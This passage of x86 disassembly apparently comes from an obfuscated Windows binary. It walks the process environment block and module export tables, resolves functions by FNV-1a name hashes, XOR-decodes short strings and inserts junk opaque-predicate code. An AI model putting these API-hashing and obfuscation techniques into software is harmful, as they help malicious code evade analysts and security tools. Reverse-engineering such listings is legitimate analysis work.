movsx eax, byte [esp + 0x12bb]
or eax, 0x20
mov dword [esp + 0x79c], eax
jmp 0x47d276
movsx eax, byte [esp + 0x12bb]
mov dword [esp + 0x79c], eax
mov eax, dword [esp + 0x7a0]
mov ecx, dword [esp + 0x79c]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x1274], eax
jmp 0x47d1e5
mov eax, dword [esp + 0x1274]
mov dword [esp + 0x1294], 0x43953e4b
mov dword [esp + 0x1290], 0x8868a3f7
mov ecx, dword [esp + 0x1290]
cmp eax, ecx
je 0x47d2f5
jmp 0x47d155
jmp 0x47d2c7
lea eax, [esp + 0x124c]
mov dword [esp + 0x12a8], eax
mov eax, dword [esp + 0x12a8]
mov ecx, dword [eax]
mov dword [esp + 0x12c0], ecx
mov ecx, dword [esp + 0x12c0]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47d094
mov eax, dword [esp + 0x123c]
lea ecx, [esp + 0x1240]
mov dword [esp + 0x12a4], ecx
mov dword [esp + 0x12a0], eax
mov eax, dword [esp + 0x12a4]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x129c], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1298], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x129c]
mov edx, dword [esp + 0x1298]
mov esi, dword [esp + 0x12a0]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x1250], eax
mov eax, dword [esp + 0x1250]
mov dword [esp + 0x794], eax
mov eax, dword [esp + 0xb48]
mov dword [esp + 0xc14], eax
mov eax, dword [esp + 0xc14]
mov dword [esp + 0xc50], eax
mov eax, dword [esp + 0xc50]
mov dword [esp + 0x798], eax
mov dword [esp + 0xccc], eax
mov eax, dword [esp + 0xccc]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x47d425
mov eax, dword [esp + 0x798]
mov dword [esp + 0xda8], eax
mov dword [esp + 0xda4], eax
mov eax, dword [esp + 0xda8]
mov dword [esp + 0x790], eax
mov dword [esp + 0xda0], 0
cmp dword [esp + 0xda0], 0x10
jge 0x47d423
mov eax, dword [esp + 0x790]
mov ecx, dword [esp + 0xda4]
mov edx, dword [esp + 0xda0]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xda0]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xda0]
add eax, 1
mov dword [esp + 0xda0], eax
jmp 0x47d3d8
jmp 0x47d425
mov eax, dword [esp + 0x794]
mov edx, dword [esp + 0x798]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x47d43e
jmp 0x47d440
call fcn.004022f0
jmp 0x47d447
mov dword [esp + 0x9d4], 0
mov dword [esp + 0x9cc], 0
mov dword [esp + 0x9c8], 0
mov ecx, dword [esp + 0x9c8]
mov eax, dword [esp + 0x9cc]
mov edx, dword [esp + 0xa08]
sub ecx, edx
sbb eax, 0
jge 0x47d598
jmp 0x47d48a
mov eax, dword [esp + 0xa20]
mov ecx, dword [esp + 0x9c8]
movsx eax, byte [eax + ecx]
imul eax, ecx
mov dword [esp + 0x78c], eax
mov eax, dword [esp + 0x9d4]
mov ecx, 0xaaaaaaab
mul ecx
mov eax, dword [esp + 0x78c]
shr edx, 1
add eax, edx
mov dword [esp + 0x9d4], eax
mov eax, dword [esp + 0x9cc]
add dword [esp + 0x9c8], 1
adc eax, 0
mov dword [esp + 0x9cc], eax
jmp 0x47d468
mov dword [esp + 0x9c4], 0
mov dword [esp + 0x9c0], 0
mov dword [esp + 0x9bc], 0
mov eax, esp
lea ecx, [esp + 0x9aa]
mov dword [eax], ecx
lea ecx, [esp + 0x9ab]
call fcn.00486bb0
sub esp, 4
jmp 0x47d5d5
lea eax, [esp + 0x9bb]
mov dword [esp + 0xb54], eax
lea eax, [esp + 0x9ab]
mov dword [esp + 0xb50], eax
lea eax, [esp + 0x12d4]
mov dword [esp + 0x12dc], eax
mov eax, dword [esp + 0x12dc]
mov dword [esp + 0x1338], 0x30
mov ecx, dword [esp + 0x1338]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x1334], ecx
mov ecx, dword [esp + 0x1334]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x12d4]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x12c8]
mov dword [esp + 0x12ec], ecx
mov dword [esp + 0x12e8], eax
mov eax, dword [esp + 0x12ec]
mov ecx, dword [esp + 0x12e8]
mov dword [eax], ecx
mov ecx, dword [esp + 0x12e8]
mov dword [esp + 0x133c], ecx
mov ecx, dword [esp + 0x133c]
mov edx, dword [esp + 0x133c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x12e0], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x12e4], ecx
mov ecx, dword [esp + 0x12e8]
add ecx, dword [esp + 0x12e0]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x12e4]
mov dword [eax + 8], ecx
lea eax, [esp + 0x12c8]
mov dword [esp + 0x12f0], eax
mov ecx, dword [esp + 0x12f0]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47d864
lea eax, [esp + 0x12c8]
mov dword [esp + 0x12f4], eax
mov eax, dword [esp + 0x12f4]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x12c4], eax
mov eax, dword [esp + 0x12c4]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x12c4], ecx
cmp eax, 0
je 0x47d862
mov eax, dword [esp + 0x12c4]
lea ecx, [esp + 0x12c8]
mov dword [esp + 0x130c], ecx
mov dword [esp + 0x1308], eax
mov eax, dword [esp + 0x130c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1308]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x1314], 0xc0e8388c
mov dword [esp + 0x1310], 0x8520b944
mov eax, dword [esp + 0x1314]
mov dword [esp + 0x1304], ecx
mov dword [esp + 0x1300], eax
mov eax, dword [esp + 0x1300]
mov dword [esp + 0x12fc], eax
mov eax, dword [esp + 0x1304]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x1304], ecx
mov al, byte [eax]
mov byte [esp + 0x12fb], al
cmp byte [esp + 0x12fb], 0
je 0x47d835
mov ecx, dword [esp + 0x12fc]
mov al, byte [esp + 0x12fb]
mov dword [esp + 0x1344], ecx
mov byte [esp + 0x1343], al
mov eax, dword [esp + 0x1344]
mov dword [esp + 0x780], eax
movsx eax, byte [esp + 0x1343]
cmp eax, 0x41
jl 0x47d804
movsx eax, byte [esp + 0x1343]
cmp eax, 0x5a
jg 0x47d804
movsx eax, byte [esp + 0x1343]
or eax, 0x20
mov dword [esp + 0x77c], eax
jmp 0x47d813
movsx eax, byte [esp + 0x1343]
mov dword [esp + 0x77c], eax
mov eax, dword [esp + 0x780]
mov ecx, dword [esp + 0x77c]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x12fc], eax
jmp 0x47d782
mov eax, dword [esp + 0x12fc]
mov dword [esp + 0x131c], 0xc0e8388c
mov dword [esp + 0x1318], 0x8520b944
mov ecx, dword [esp + 0x1318]
cmp eax, ecx
je 0x47d892
jmp 0x47d6f2
jmp 0x47d864
lea eax, [esp + 0x12d4]
mov dword [esp + 0x1330], eax
mov eax, dword [esp + 0x1330]
mov ecx, dword [eax]
mov dword [esp + 0x1348], ecx
mov ecx, dword [esp + 0x1348]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47d631
mov eax, dword [esp + 0x12c4]
lea ecx, [esp + 0x12c8]
mov dword [esp + 0x132c], ecx
mov dword [esp + 0x1328], eax
mov eax, dword [esp + 0x132c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x1324], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1320], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x1324]
mov edx, dword [esp + 0x1320]
mov esi, dword [esp + 0x1328]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x12d8], eax
mov eax, dword [esp + 0x12d8]
mov dword [esp + 0x774], eax
mov eax, dword [esp + 0xb50]
mov dword [esp + 0xc10], eax
mov eax, dword [esp + 0xc10]
mov dword [esp + 0xc54], eax
mov eax, dword [esp + 0xc54]
mov dword [esp + 0x778], eax
mov dword [esp + 0xcc8], eax
mov eax, dword [esp + 0xcc8]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x47d9c2
mov eax, dword [esp + 0x778]
mov dword [esp + 0xd9c], eax
mov dword [esp + 0xd98], eax
mov eax, dword [esp + 0xd9c]
mov dword [esp + 0x770], eax
mov dword [esp + 0xd94], 0
cmp dword [esp + 0xd94], 0x10
jge 0x47d9c0
mov eax, dword [esp + 0x770]
mov ecx, dword [esp + 0xd98]
mov edx, dword [esp + 0xd94]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xd94]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xd94]
add eax, 1
mov dword [esp + 0xd94], eax
jmp 0x47d975
jmp 0x47d9c2
mov eax, dword [esp + 0x774]
mov edx, dword [esp + 0x778]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x47d9db
jmp 0x47d9dd
mov ecx, dword [esp + 0xa20]
mov eax, esp
mov dword [eax], ecx
call fcn.00407dd0
mov dword [esp + 0x76c], eax
jmp 0x47d9f6
mov eax, dword [esp + 0x76c]
mov dword [esp + 0x9a4], eax
cmp dword [esp + 0x9a4], 0
jne 0x47dd55
mov dword [esp + 0x99c], 0
lea eax, [esp + 0x9a3]
mov dword [esp + 0xb5c], eax
lea eax, [esp + 0x99c]
mov dword [esp + 0xb58], eax
lea eax, [esp + 0x135c]
mov dword [esp + 0x1364], eax
mov eax, dword [esp + 0x1364]
mov dword [esp + 0x13c0], 0x30
mov ecx, dword [esp + 0x13c0]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x13bc], ecx
mov ecx, dword [esp + 0x13bc]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x135c]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x1350]
mov dword [esp + 0x1374], ecx
mov dword [esp + 0x1370], eax
mov eax, dword [esp + 0x1374]
mov ecx, dword [esp + 0x1370]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1370]
mov dword [esp + 0x13c4], ecx
mov ecx, dword [esp + 0x13c4]
mov edx, dword [esp + 0x13c4]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1368], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x136c], ecx
mov ecx, dword [esp + 0x1370]
add ecx, dword [esp + 0x1368]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x136c]
mov dword [eax + 8], ecx
lea eax, [esp + 0x1350]
mov dword [esp + 0x1378], eax
mov ecx, dword [esp + 0x1378]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47dcac
lea eax, [esp + 0x1350]
mov dword [esp + 0x137c], eax
mov eax, dword [esp + 0x137c]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x134c], eax
mov eax, dword [esp + 0x134c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x134c], ecx
cmp eax, 0
je 0x47dcaa
mov eax, dword [esp + 0x134c]
lea ecx, [esp + 0x1350]
mov dword [esp + 0x1394], ecx
mov dword [esp + 0x1390], eax
mov eax, dword [esp + 0x1394]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1390]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x139c], 0x6311c3fa
mov dword [esp + 0x1398], 0x5a007072
mov eax, dword [esp + 0x139c]
mov dword [esp + 0x138c], ecx
mov dword [esp + 0x1388], eax
mov eax, dword [esp + 0x1388]
mov dword [esp + 0x1384], eax
mov eax, dword [esp + 0x138c]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x138c], ecx
mov al, byte [eax]
mov byte [esp + 0x1383], al
cmp byte [esp + 0x1383], 0
je 0x47dc7d
mov ecx, dword [esp + 0x1384]
mov al, byte [esp + 0x1383]
mov dword [esp + 0x13cc], ecx
mov byte [esp + 0x13cb], al
mov eax, dword [esp + 0x13cc]
mov dword [esp + 0x768], eax
movsx eax, byte [esp + 0x13cb]
cmp eax, 0x41
jl 0x47dc4c
movsx eax, byte [esp + 0x13cb]
cmp eax, 0x5a
jg 0x47dc4c
movsx eax, byte [esp + 0x13cb]
or eax, 0x20
mov dword [esp + 0x764], eax
jmp 0x47dc5b
movsx eax, byte [esp + 0x13cb]
mov dword [esp + 0x764], eax
mov eax, dword [esp + 0x768]
mov ecx, dword [esp + 0x764]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x1384], eax
jmp 0x47dbca
mov eax, dword [esp + 0x1384]
mov dword [esp + 0x13a4], 0x6311c3fa
mov dword [esp + 0x13a0], 0x5a007072
mov ecx, dword [esp + 0x13a0]
cmp eax, ecx
je 0x47dcda
jmp 0x47db3a
jmp 0x47dcac
lea eax, [esp + 0x135c]
mov dword [esp + 0x13b8], eax
mov eax, dword [esp + 0x13b8]
mov ecx, dword [eax]
mov dword [esp + 0x13d0], ecx
mov ecx, dword [esp + 0x13d0]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47da79
mov eax, dword [esp + 0x134c]
lea ecx, [esp + 0x1350]
mov dword [esp + 0x13b4], ecx
mov dword [esp + 0x13b0], eax
mov eax, dword [esp + 0x13b4]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x13ac], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x13a8], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x13ac]
mov edx, dword [esp + 0x13a8]
mov esi, dword [esp + 0x13b0]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x1360], eax
mov eax, dword [esp + 0x1360]
mov ecx, dword [esp + 0xb58]
mov ecx, dword [ecx]
mov dword [esp], ecx
call eax
mov eax, esp
lea ecx, [esp + 0x98a]
mov dword [eax], ecx
lea ecx, [esp + 0x98b]
call fcn.00486c10
sub esp, 4
jmp 0x47dd71
lea eax, [esp + 0x99b]
mov dword [esp + 0xb64], eax
lea eax, [esp + 0x98b]
mov dword [esp + 0xb60], eax
lea eax, [esp + 0x13e4]
mov dword [esp + 0x13ec], eax
mov eax, dword [esp + 0x13ec]
mov dword [esp + 0x1448], 0x30
mov ecx, dword [esp + 0x1448]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x1444], ecx
mov ecx, dword [esp + 0x1444]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x13e4]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x13d8]
mov dword [esp + 0x13fc], ecx
mov dword [esp + 0x13f8], eax
mov eax, dword [esp + 0x13fc]
mov ecx, dword [esp + 0x13f8]
mov dword [eax], ecx
mov ecx, dword [esp + 0x13f8]
mov dword [esp + 0x144c], ecx
mov ecx, dword [esp + 0x144c]
mov edx, dword [esp + 0x144c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x13f0], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x13f4], ecx
mov ecx, dword [esp + 0x13f8]
add ecx, dword [esp + 0x13f0]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x13f4]
mov dword [eax + 8], ecx
lea eax, [esp + 0x13d8]
mov dword [esp + 0x1400], eax
mov ecx, dword [esp + 0x1400]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47e000
lea eax, [esp + 0x13d8]
mov dword [esp + 0x1404], eax
mov eax, dword [esp + 0x1404]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x13d4], eax
mov eax, dword [esp + 0x13d4]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x13d4], ecx
cmp eax, 0
je 0x47dffe
mov eax, dword [esp + 0x13d4]
lea ecx, [esp + 0x13d8]
mov dword [esp + 0x141c], ecx
mov dword [esp + 0x1418], eax
mov eax, dword [esp + 0x141c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1418]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x1424], 0x26f59aef
mov dword [esp + 0x1420], 0x70745b3b
mov eax, dword [esp + 0x1424]
mov dword [esp + 0x1414], ecx
mov dword [esp + 0x1410], eax
mov eax, dword [esp + 0x1410]
mov dword [esp + 0x140c], eax
mov eax, dword [esp + 0x1414]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x1414], ecx
mov al, byte [eax]
mov byte [esp + 0x140b], al
cmp byte [esp + 0x140b], 0
je 0x47dfd1
mov ecx, dword [esp + 0x140c]
mov al, byte [esp + 0x140b]
mov dword [esp + 0x1454], ecx
mov byte [esp + 0x1453], al
mov eax, dword [esp + 0x1454]
mov dword [esp + 0x760], eax
movsx eax, byte [esp + 0x1453]
cmp eax, 0x41
jl 0x47dfa0
movsx eax, byte [esp + 0x1453]
cmp eax, 0x5a
jg 0x47dfa0
movsx eax, byte [esp + 0x1453]
or eax, 0x20
mov dword [esp + 0x75c], eax
jmp 0x47dfaf
movsx eax, byte [esp + 0x1453]
mov dword [esp + 0x75c], eax
mov eax, dword [esp + 0x760]
mov ecx, dword [esp + 0x75c]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x140c], eax
jmp 0x47df1e
mov eax, dword [esp + 0x140c]
mov dword [esp + 0x142c], 0x26f59aef
mov dword [esp + 0x1428], 0x70745b3b
mov ecx, dword [esp + 0x1428]
cmp eax, ecx
je 0x47e02e
jmp 0x47de8e
jmp 0x47e000
lea eax, [esp + 0x13e4]
mov dword [esp + 0x1440], eax
mov eax, dword [esp + 0x1440]
mov ecx, dword [eax]
mov dword [esp + 0x1458], ecx
mov ecx, dword [esp + 0x1458]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47ddcd
mov eax, dword [esp + 0x13d4]
lea ecx, [esp + 0x13d8]
mov dword [esp + 0x143c], ecx
mov dword [esp + 0x1438], eax
mov eax, dword [esp + 0x143c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x1434], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1430], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x1434]
mov edx, dword [esp + 0x1430]
mov esi, dword [esp + 0x1438]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x13e8], eax
mov eax, dword [esp + 0x13e8]
mov dword [esp + 0x754], eax
mov eax, dword [esp + 0xb60]
mov dword [esp + 0xc0c], eax
mov eax, dword [esp + 0xc0c]
mov dword [esp + 0xc58], eax
mov eax, dword [esp + 0xc58]
mov dword [esp + 0x758], eax
mov dword [esp + 0xcc4], eax
mov eax, dword [esp + 0xcc4]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x47e15e
mov eax, dword [esp + 0x758]
mov dword [esp + 0xd90], eax
mov dword [esp + 0xd8c], eax
mov eax, dword [esp + 0xd90]
mov dword [esp + 0x750], eax
mov dword [esp + 0xd88], 0
cmp dword [esp + 0xd88], 0x10
jge 0x47e15c
mov eax, dword [esp + 0x750]
mov ecx, dword [esp + 0xd8c]
mov edx, dword [esp + 0xd88]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xd88]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xd88]
add eax, 1
mov dword [esp + 0xd88], eax
jmp 0x47e111
jmp 0x47e15e
mov eax, dword [esp + 0x754]
mov edx, dword [esp + 0x758]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x47e177
jmp 0x47e179
mov ecx, dword [esp + 0xa20]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 5
call fcn.0040f890
mov dword [esp + 0x74c], eax
jmp 0x47e199
mov eax, dword [esp + 0x74c]
mov dword [esp + 0x984], eax
mov eax, dword [esp + 0x9a4]
mov eax, dword [eax + 0x34]
mov dword [esp + 0x9c0], eax
mov eax, esp
lea ecx, [esp + 0x972]
mov dword [eax], ecx
lea ecx, [esp + 0x973]
call fcn.00486c70
sub esp, 4
jmp 0x47e1d4
lea eax, [esp + 0x983]
mov dword [esp + 0xb6c], eax
lea eax, [esp + 0x973]
mov dword [esp + 0xb68], eax
lea eax, [esp + 0x146c]
mov dword [esp + 0x1474], eax
mov eax, dword [esp + 0x1474]
mov dword [esp + 0x14d0], 0x30
mov ecx, dword [esp + 0x14d0]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x14cc], ecx
mov ecx, dword [esp + 0x14cc]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x146c]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x1460]
mov dword [esp + 0x1484], ecx
mov dword [esp + 0x1480], eax
mov eax, dword [esp + 0x1484]
mov ecx, dword [esp + 0x1480]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1480]
mov dword [esp + 0x14d4], ecx
mov ecx, dword [esp + 0x14d4]
mov edx, dword [esp + 0x14d4]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1478], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x147c], ecx
mov ecx, dword [esp + 0x1480]
add ecx, dword [esp + 0x1478]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x147c]
mov dword [eax + 8], ecx
lea eax, [esp + 0x1460]
mov dword [esp + 0x1488], eax
mov ecx, dword [esp + 0x1488]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47e463
lea eax, [esp + 0x1460]
mov dword [esp + 0x148c], eax
mov eax, dword [esp + 0x148c]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x145c], eax
mov eax, dword [esp + 0x145c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x145c], ecx
cmp eax, 0
je 0x47e461
mov eax, dword [esp + 0x145c]
lea ecx, [esp + 0x1460]
mov dword [esp + 0x14a4], ecx
mov dword [esp + 0x14a0], eax
mov eax, dword [esp + 0x14a4]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x14a0]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x14ac], 0xcae6f030
mov dword [esp + 0x14a8], 0x200108f8
mov eax, dword [esp + 0x14ac]
mov dword [esp + 0x149c], ecx
mov dword [esp + 0x1498], eax
mov eax, dword [esp + 0x1498]
mov dword [esp + 0x1494], eax
mov eax, dword [esp + 0x149c]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x149c], ecx
mov al, byte [eax]
mov byte [esp + 0x1493], al
cmp byte [esp + 0x1493], 0
je 0x47e434
mov ecx, dword [esp + 0x1494]
mov al, byte [esp + 0x1493]
mov dword [esp + 0x14dc], ecx
mov byte [esp + 0x14db], al
mov eax, dword [esp + 0x14dc]
mov dword [esp + 0x748], eax
movsx eax, byte [esp + 0x14db]
cmp eax, 0x41
jl 0x47e403
movsx eax, byte [esp + 0x14db]
cmp eax, 0x5a
jg 0x47e403
movsx eax, byte [esp + 0x14db]
or eax, 0x20
mov dword [esp + 0x744], eax
jmp 0x47e412
movsx eax, byte [esp + 0x14db]
mov dword [esp + 0x744], eax
mov eax, dword [esp + 0x748]
mov ecx, dword [esp + 0x744]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x1494], eax
jmp 0x47e381
mov eax, dword [esp + 0x1494]
mov dword [esp + 0x14b4], 0xcae6f030
mov dword [esp + 0x14b0], 0x200108f8
mov ecx, dword [esp + 0x14b0]
cmp eax, ecx
je 0x47e491
jmp 0x47e2f1
jmp 0x47e463
lea eax, [esp + 0x146c]
mov dword [esp + 0x14c8], eax
mov eax, dword [esp + 0x14c8]
mov ecx, dword [eax]
mov dword [esp + 0x14e0], ecx
mov ecx, dword [esp + 0x14e0]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47e230
mov eax, dword [esp + 0x145c]
lea ecx, [esp + 0x1460]
mov dword [esp + 0x14c4], ecx
mov dword [esp + 0x14c0], eax
mov eax, dword [esp + 0x14c4]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x14bc], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x14b8], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x14bc]
mov edx, dword [esp + 0x14b8]
mov esi, dword [esp + 0x14c0]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x1470], eax
mov eax, dword [esp + 0x1470]
mov dword [esp + 0x73c], eax
mov eax, dword [esp + 0xb68]
mov dword [esp + 0xc08], eax
mov eax, dword [esp + 0xc08]
mov dword [esp + 0xc5c], eax
mov eax, dword [esp + 0xc5c]
mov dword [esp + 0x740], eax
mov dword [esp + 0xcc0], eax
mov eax, dword [esp + 0xcc0]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x47e5c1
mov eax, dword [esp + 0x740]
mov dword [esp + 0xd84], eax
mov dword [esp + 0xd80], eax
mov eax, dword [esp + 0xd84]
mov dword [esp + 0x738], eax
mov dword [esp + 0xd7c], 0
cmp dword [esp + 0xd7c], 0x10
jge 0x47e5bf
mov eax, dword [esp + 0x738]
mov ecx, dword [esp + 0xd80]
mov edx, dword [esp + 0xd7c]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xd7c]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xd7c]
add eax, 1
mov dword [esp + 0xd7c], eax
jmp 0x47e574
jmp 0x47e5c1
mov eax, dword [esp + 0x73c]
mov edx, dword [esp + 0x740]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x47e5da
jmp 0x47e5dc
mov eax, esp
lea ecx, [esp + 0x960]
mov dword [eax], ecx
lea ecx, [esp + 0x961]
call fcn.00486cd0
sub esp, 4
jmp 0x47e5f8
lea eax, [esp + 0x961]
mov dword [esp + 0xb70], eax
mov eax, dword [esp + 0xb70]
mov dword [esp + 0x1b44], eax
mov eax, dword [esp + 0x1b44]
mov dword [esp + 0x734], eax
test byte [eax], 1
jne 0x4803e2
mov eax, dword [esp + 0x734]
add eax, 1
mov dword [esp + 0x1b4c], eax
mov dword [esp + 0x1b48], 0
mov eax, dword [esp + 0x1b48]
cmp eax, 0xa
jae 0x4803de
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x728], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x728]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x72c], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x72c]
movsx ecx, cl
imul ecx, ecx, 9
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x730], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x730]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47ec1e
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x718], eax
mov dword [esp + 0x1c34], 0x40548000
mov dword [esp + 0x1c30], 0
xor eax, eax
je 0x47e6f9
add dl, dh
movups xmm0, xmmword [esp + 0x1c30]
movsd xmm0, qword [esp + 0x1c30]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1c28], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x71c], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x71c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x724], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x720], eax
call fcn.004347c0
mov ecx, dword [esp + 0x720]
mov dl, al
mov eax, dword [esp + 0x724]
